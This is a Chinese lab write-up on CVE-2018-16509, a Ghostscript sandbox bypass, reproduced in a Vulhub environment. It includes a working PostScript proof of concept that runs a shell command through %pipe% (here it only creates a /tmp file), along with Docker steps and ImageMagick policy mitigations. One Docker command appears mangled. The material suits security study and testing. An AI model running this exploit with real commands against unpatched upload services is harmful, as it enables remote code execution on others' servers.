vylhub学习文档-GhostScript 沙箱绕过(命令执行)漏洞

GhostScript 沙箱绕过(命令执行)漏洞

一.漏洞介绍
(一)编号
CVE-2018-16509
(二)概述
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大
以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。
(三)适用条件
在文件上传过程中,有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞。在处理/invalidaccess异常时,程序没有正确的检测‘restoration of privilege(权限恢复)’。攻击者可通过提交特制的PostScript利用该漏洞执行代码。
(四)影响版本
Ghostscript 9.24之前版本

二.操作步骤
(一)Vulhub
文件位于:/home/vulhub/vulhub-master/ghostscript/CVE-2018-16509
Ip:192.168.126.136
1.环境搭建 docker-compose build和docker-compose up -d
在这里插入图片描述

2.检查docker是否开启 docker-compose ps

在这里插入图片描述

(二)Windows
1.登录 https://192.168.126.133:8080/upload.php
在这里插入图片描述

2.尝试上传poc.png
源码:

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/CVE-2018-16509_is_success) currentdevice putdeviceprops

(三)vulhub
1.在漏洞环境下进入容器 输入docker-compose exec web bash
2.输入ls /tmp/ 看到success文件已经创建
在这里插入图片描述

3.使用攻击命令
docker run -it --rm --name im -v id/poc.png:/poc.png vulhub/imagemagick:7.0.8 c
在这里插入图片描述

攻击执行成功

三.漏洞防护
漏洞信息可以参考imagemaick的ghost script RCE漏洞
目前最全的修复方案参考https://www.kb.cert.org/vuls/id/332928
编辑ImageMagick的policy文件,默认路径为/etc/ImageMagick/policy.xml
在标签中增加如下内容

  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />

参考文章https://www.cnblogs.com/kbhome/p/13210431.html

猜你喜欢

转载自blog.csdn.net/ploto_cs/article/details/108526669
今日推荐